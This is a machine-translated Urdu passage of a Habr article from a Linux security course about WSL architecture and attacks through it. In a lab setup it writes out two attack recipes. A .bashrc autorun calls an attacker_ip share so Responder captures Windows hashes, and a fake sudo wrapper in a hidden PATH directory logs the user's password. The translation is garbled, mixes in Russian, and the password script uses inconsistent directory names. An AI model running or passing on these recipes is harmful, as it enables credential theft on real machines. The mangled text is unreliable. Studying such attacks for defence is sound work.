ڈبلیو ایس ایل کے تجربات۔ حصہ 1

ہیلو، ہیبر! OTUS اکتوبر میں ایک نئے کورس کا سلسلہ شروع کرتا ہے۔ "لینکس سیکیورٹی". کورس کے آغاز کی توقع میں، ہم آپ کے ساتھ ایک مضمون شیئر کر رہے ہیں جو ہمارے ایک استاد، الیگزینڈر کولیسنیکوف نے لکھا ہے۔

ڈبلیو ایس ایل کے تجربات۔ حصہ 1

2016 میں، مائیکروسافٹ نے نئی ڈبلیو ایس ایل ٹیکنالوجی کو آئی ٹی کمیونٹی میں متعارف کرایا (Wانڈیا Sکے لئے ubsystem Linux)، جس نے مستقبل میں پہلے سے ناقابل مصالحت حریفوں کو متحد کرنا ممکن بنایا جو عام اور جدید OS صارفین: Windows اور Linux دونوں میں مقبولیت کے لیے لڑ رہے تھے۔ اس ٹیکنالوجی نے ونڈوز کے ماحول میں لینکس کو چلانے کی ضرورت کے بغیر لینکس OS ٹولز کا استعمال ممکن بنایا، مثال کے طور پر ملٹی بوٹ کا استعمال۔ Habr پر آپ کو WSL استعمال کرنے کے فوائد کی وضاحت کرنے والے مضامین کی ایک بڑی تعداد مل سکتی ہے۔ تاہم، بدقسمتی سے، اس مضمون کی تخلیق کے وقت، اس وسائل پر آپریٹنگ سسٹمز کے اس طرح کے سمبیوسس کی حفاظت پر کوئی مطالعہ نہیں پایا گیا۔ یہ پوسٹ اس کو درست کرنے کی کوشش ہوگی۔ مضمون WSL 1 اور 2 فن تعمیر کی خصوصیات کے بارے میں بات کرے گا اور ان ٹیکنالوجیز کو استعمال کرتے ہوئے سسٹمز پر حملوں کی متعدد مثالوں کا جائزہ لے گا۔ مضمون کو 2 حصوں میں تقسیم کیا گیا ہے۔ پہلا لینکس اور ونڈوز سے اہم نظریاتی حملے کے طریقے فراہم کرے گا۔ دوسرے مضمون میں آزمائشی ماحول قائم کرنا اور حملوں کو دوبارہ تیار کرنا شامل ہوگا۔

WSL 1: تعمیراتی خصوصیات

WSL سیکورٹی کے مسائل میں سب سے درست غوطہ لگانے کے لیے، سب سسٹم کے نفاذ سے وابستہ اہم باریکیوں کا تعین کرنا ضروری ہے۔ WSL کے ذریعے حل کیے گئے صارف کے اہم کاموں میں سے ایک ونڈوز OS چلانے والے میزبان پر لینکس ٹرمینل کے ذریعے کام کرنے کی صلاحیت ہے۔ نیز، پیش کردہ مطابقت اتنی مقامی تھی کہ لینکس ایگزیکیوٹیبلز (ELFs) کو براہ راست ونڈوز سسٹم پر چلایا جا سکتا ہے۔ ان اہداف کو حاصل کرنے کے لیے، ونڈوز 10 میں ایک خصوصی سب سسٹم بنایا گیا تھا جو آپ کو مخصوص سسٹم کالز کے سیٹ کا استعمال کرتے ہوئے لینکس ایپلی کیشنز کو چلانے کی اجازت دیتا ہے - اس طرح، ونڈوز پر لینکس سیسکلز کے ایک سیٹ کو نقشہ بنانے کی کوشش کی گئی۔ یہ جسمانی طور پر نئے ڈرائیوروں اور ایک نئے پروسیس فارمیٹ کو شامل کرکے لاگو کیا گیا تھا۔ بصری طور پر فن تعمیر اس طرح نظر آتا تھا:

ڈبلیو ایس ایل کے تجربات۔ حصہ 1

درحقیقت، لینکس آپریٹنگ سسٹم کے ساتھ تعامل کئی کرنل ماڈیولز اور ایک خاص قسم کے عمل - پیکو کے ذریعے منظم کیا گیا تھا۔ اوپر دیے گئے خاکے سے، آپ دیکھ سکتے ہیں کہ ہوسٹ پر لینکس مثال کے طور پر چلنے والا عمل مقامی ہونا چاہیے اور اسے وہی وسائل استعمال کرنا ہوں گے جیسے کہ ونڈوز کی باقاعدہ ایپلی کیشنز۔ لیکن یہ کیسے حاصل کرنا ہے؟ پروجیکٹ میں ڈرا برج ونڈوز کے لیے پروسیس کے تصورات تیار کیے گئے تھے جو کسی دوسرے OS کی ایپلیکیشن کو چلانے کے لیے آپریٹنگ سسٹم کے تمام ضروری اجزاء (اس کے ورژن پر منحصر) فراہم کرتے تھے۔

نوٹ کریں کہ مجوزہ تجرید نے آپریٹنگ سسٹم (خاص طور پر، ونڈوز) پر توجہ مرکوز نہ کرنا ممکن بنایا، جس میں کسی دوسرے OS کے عمل کے شروع ہونے کی توقع ہے، اور اس نے ایک عمومی طریقہ تجویز کیا۔

اس طرح، پیکو عمل کے اندر کوئی بھی ایپلیکیشن ونڈوز کرنل کی پرواہ کیے بغیر چل سکتی ہے:

  1. مطابقت کے مسائل اور سسٹم کالز کے ترجمے کو خصوصی فراہم کنندگان کے ذریعے حل کیا جانا چاہیے۔
  2. رسائی کا کنٹرول سیکیورٹی مانیٹر کے ذریعے کیا جانا چاہیے۔ مانیٹر کرنل میں واقع ہے اور اس لیے ونڈوز کو ایک نئے ڈرائیور کی شکل میں اپ گریڈ کی ضرورت تھی جو اس طرح کے عمل کے لیے فراہم کنندہ کے طور پر کام کر سکے۔ پروٹوٹائپ پیکو عمل کو ذیل میں پیش کیا گیا ہے:

ڈبلیو ایس ایل کے تجربات۔ حصہ 1

چونکہ لینکس فائل سسٹم کیس حساس فائل اور ڈائریکٹری کے نام استعمال کرتا ہے، اس لیے WSL - VolFS اور DriveFS کے ساتھ کام کرنے کے لیے 2 قسم کے فائل سسٹم ونڈوز میں شامل کیے گئے تھے۔ وول ایف ایس لینکس فائل سسٹم کا نفاذ ہے، ڈرائیو ایف ایس ایک فائل سسٹم ہے جو ونڈوز کے اصولوں کے مطابق کام کرتا ہے، لیکن کیس کی حساسیت کو منتخب کرنے کی صلاحیت رکھتا ہے۔

WSL 2

ڈبلیو ایس ایل 1 میں بہت سی حدود تھیں جو اسے زیادہ سے زیادہ کاموں کو حل کرنے کے لیے استعمال کرنے کی اجازت نہیں دیتی تھیں: مثال کے طور پر، اس میں 32 بٹ لینکس ایپلی کیشنز چلانے کی صلاحیت نہیں تھی، اور ڈیوائس ڈرائیورز کا استعمال کرنا ناممکن تھا۔ لہذا، 2020 میں، WSL 2 جاری کیا گیا، جس نے سب سسٹم کی تعمیر کے نقطہ نظر کو تبدیل کر دیا. WSL 2 ایک بہترین ورچوئل مشین ہے جو WSL 1 کی وسائل کی کھپت کی خصوصیات سے میل کھاتی ہے۔ اب، Windows OS صارف کے حل کردہ مسائل پر منحصر ہے، آپ لینکس سب سسٹم کا مطلوبہ ورژن منتخب کر سکتے ہیں۔ ممکنہ خطرات کو کم کرنے کے لیے، WSL 2 کو ونڈوز 10 میں Hyper-V کی بنیاد پر لاگو کیا گیا تھا۔ اس شکل میں، ونڈوز میں لینکس آپریٹنگ سسٹم کے کرنل کو تنہائی میں چلانے کی صلاحیت ہے۔ یہ یاد رکھنے کے قابل ہے کہ WSL کا ورژن 1 ایک بیٹا خصوصیت کے طور پر متعارف کرایا گیا تھا جو اس علاقے میں ونڈوز کی ترقی کی سمت دکھانا تھا، لہذا Hyper-V میں منتقلی ناگزیر تھی۔ حتمی فن تعمیر اس طرح لگتا ہے:

ڈبلیو ایس ایل کے تجربات۔ حصہ 1

اس ورژن میں، ونڈوز اور لینکس کرنل کے اپنے وسائل ہیں اور انٹرسیکشن صرف فائل سسٹم میں موجود ہے، لیکن یہ انٹرسیکشن مکمل نہیں ہے۔ فائل سسٹمز کے درمیان تعامل کلائنٹ سرور ریپر کے ذریعے کیا جاتا ہے جو 9P پروٹوکول کا استعمال کرتے ہوئے کام کرتا ہے۔

آج مائیکروسافٹ WSL 1 اور WSL 2 کے درمیان سوئچ کرنے کی صلاحیت فراہم کرتا ہے۔ دونوں ورژن استعمال کے لیے دستیاب ہیں۔

ڈبلیو ایس ایل سیکیورٹی

اس وقت، سب سسٹمز کے درمیان مواصلات پر حملہ کرنے کے لیے جائز OS ٹولز کو استعمال کرنے کے لیے کچھ طریقوں کی وضاحت کرنے والے بہت سے کام موجود ہیں۔ ہم تحریر کے وقت حملوں کی مطابقت کو جانچنے کے لیے ان کے اسکرپٹس کا استعمال کریں گے۔ حملوں اور منظرناموں کی عمومی فہرست:

1. فائل سسٹم کا نفاذ: رسائی کے حقوق، مشترکہ ڈائریکٹریز/ڈیٹا ایکسچینج میکانزم کی دستیابی۔

سے رسائی کے قوانین کی خلاف ورزیوں کا تعین کرنے کے لیے تحقیق کی گئی۔ لینکس FS->Windows FS، Windows FS->Linux FS. تحقیق نے ہدف OS کے اندر دی گئی فائل میں ترمیم کرنے کی صلاحیت کا مظاہرہ کیا ہے۔ فائل سسٹم کے کچھ حصے کو تبدیل کرنے، ڈپلیکیٹس بنانے اور ڈیلیٹ کرنے کی بھی کوشش کی گئی۔

منظر نامے:

  • A. ونڈوز آپریٹنگ سسٹم سے حملہ - لینکس OS کی /etc ڈائریکٹری سے فائلوں میں ترمیم۔
  • B. لینکس آپریٹنگ سسٹم سے حملہ - ڈائریکٹریز میں فائلوں میں ترمیم: C:Windows, C:Program Files, C:Users<User>

2. نیٹ ورک اسٹیک کا نفاذ۔

یہ تحقیق ونڈوز پر لینکس آپریٹنگ سسٹم کے حملوں کی مثالوں کا استعمال کرتے ہوئے کی گئی۔ نیٹ ورک اسٹیک کی خصوصیات کا استعمال کیا گیا تھا، یعنی مختلف وسائل پر تصدیق کے طریقہ کار۔

منظر نامے:

  • ونڈوز سسٹم پر قابض بندرگاہ تک رسائی کھولنا
  • مناسب حقوق کے بغیر بندرگاہ کھولنا
  • ونڈوز آپریٹنگ سسٹم پر ایلف فائل کا استعمال کرتے ہوئے ریورس شیل چلانا۔

3. WSL سب سسٹم کا استعمال کرتے ہوئے نقصان دہ سافٹ ویئر کے عمل کے آغاز کو چھپانا۔

تحقیق ایک سادہ حقیقت پر مبنی تھی - سیکیورٹی سب سسٹمز کسی دوسرے دانا میں ایسے واقعات کو روک نہیں سکتے جو WSL 1 کے معاملے میں آپریٹنگ سسٹم سے جائز فراہم کنندہ کا استعمال کرتے ہوئے کام کرتا ہے۔ WSL 2 کے معاملے میں، پیش آنے والے واقعات کو دیکھنے کا کوئی طریقہ نہیں ہے۔ ہلکے وزن کی ورچوئل مشین کے اندر الگ دانا میں۔

منظر نامے:

1) سسٹم تک ریموٹ رسائی کے لیے ایپلیکیشن لانچ کریں اور لاگ ان واقعات کو دیکھیں۔

WSL 1 تجربات: ہیش انٹرسیپشن (ونڈوز)

آخر کار ہم عملی حصے تک پہنچ گئے۔ سب سے پہلے، آپ کو ٹیسٹ ماحول قائم کرنے کی ضرورت ہے. تمام تجربات ایک بینچ پر کیے جائیں گے جس میں Windows 10 2004 انسٹال ہو گا۔ Ubuntu 18.04 امیج کو WSL کے لیے آپریٹنگ سسٹم کی تصویر کے طور پر منتخب کیا گیا تھا۔ تصویر کو بے ترتیب طور پر منتخب کیا گیا تھا، اور کوئی اور بھی ایسا ہی کام کرے گا۔ اسٹینڈ قائم کرنے کے احکام:

آپ کو پہلے لانچ کرنا ہوگا۔ powershell.exe بطور ایڈمنسٹریٹر

WSL 1 کے لئے آپ کو کمانڈ چلانے کی ضرورت ہے:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • اسٹینڈ کو ریبوٹ کرنے کے بعد، آپ bash کمانڈ کو کال کرسکتے ہیں۔ اگر سب کچھ صحیح طریقے سے کام کرتا ہے، تو آپ ونڈوز کنسول میں اس سے ملتا جلتا آؤٹ پٹ دیکھیں گے:

    ڈبلیو ایس ایل کے تجربات۔ حصہ 1

    ہم کالی لینکس ڈسٹری بیوشن کو حملہ آور کی مشین کے طور پر استعمال کریں گے؛ تمام مشینیں ایک ہی مقامی نیٹ ورک پر ہونی چاہئیں۔

    آئیے فرض کریں کہ ہمارے پاس ونڈوز مشین پر WSL تک غیر مراعات یافتہ رسائی ہے۔ آئیے لینکس سے کمانڈ کو کال کرکے لینکس آپریٹنگ سسٹم پر حملہ کرنے کی کوشش کرتے ہیں۔ حملے کو لاگو کرنے کے لیے، ہم ایک سادہ آٹورن تکنیک کا استعمال کریں گے - ہم لینکس کے ماحول میں عمل درآمد کے لیے اپنا اسکرپٹ شامل کریں گے۔ ایسا کرنے کے لیے آپ کو فائل کو تبدیل کرنے کی ضرورت ہے۔ .bashrc.

    WSL والی مشین پر ہم عمل کرتے ہیں:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    کالی لینکس مشین پر ہم چلاتے ہیں:

    1. Responder -I eth0 -rdvw

    ونڈوز مشین پر، آئیے بیش لانچ کریں۔

    ہم کالی لینکس مشین پر نتیجہ کا انتظار کر رہے ہیں:

    ڈبلیو ایس ایل کے تجربات۔ حصہ 1

    اس طرح، ہم نے لینکس سسٹم پر کمانڈ پر عمل کرتے ہوئے WSL سب سسٹم کے ذریعے ونڈوز یوزر ہیشز حاصل کیں۔

    WSL 1 تجربات: صارف کا پاس ورڈ حاصل کرنا (Linux OS)

    آئیے ایک اور تجربہ کرتے ہیں۔ اس چیک کے دوران ہم فائل میں شامل کریں گے۔ .bashrc لینکس آپریٹنگ سسٹم صارف کا پاس ورڈ حاصل کرنے کے لیے کئی کمانڈز۔

    آئیے bash لانچ کریں اور کمانڈز درج کریں:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    حملے کو کامیابی سے مکمل کرنے کے لیے، صارف سام کو لینکس ٹرمینل میں sudo کال کرنے کی ضرورت ہے۔ اس کے بعد لینکس OS صارف کا پاس ورڈ فائل میں ہوگا۔ pass.txt:

    ڈبلیو ایس ایل کے تجربات۔ حصہ 1

    حملوں پر عمل درآمد صرف نظریاتی معلومات کے لیے دیا گیا تھا۔

    مضمون کا اگلا حصہ 9P پروٹوکول کے نفاذ کی وضاحت کرے گا، اس پروٹوکول کے لیے اسکینر بنانے پر غور کرے گا، اور اسے استعمال کرتے ہوئے حملہ بھی کرے گا۔

    استعمال شدہ ادب کی فہرست۔

    ڈبلیو ایس ایل کے تجربات۔ حصہ 1

    مزید پڑھ

    ماخذ: www.habr.com

    نیا تبصرہ شامل کریں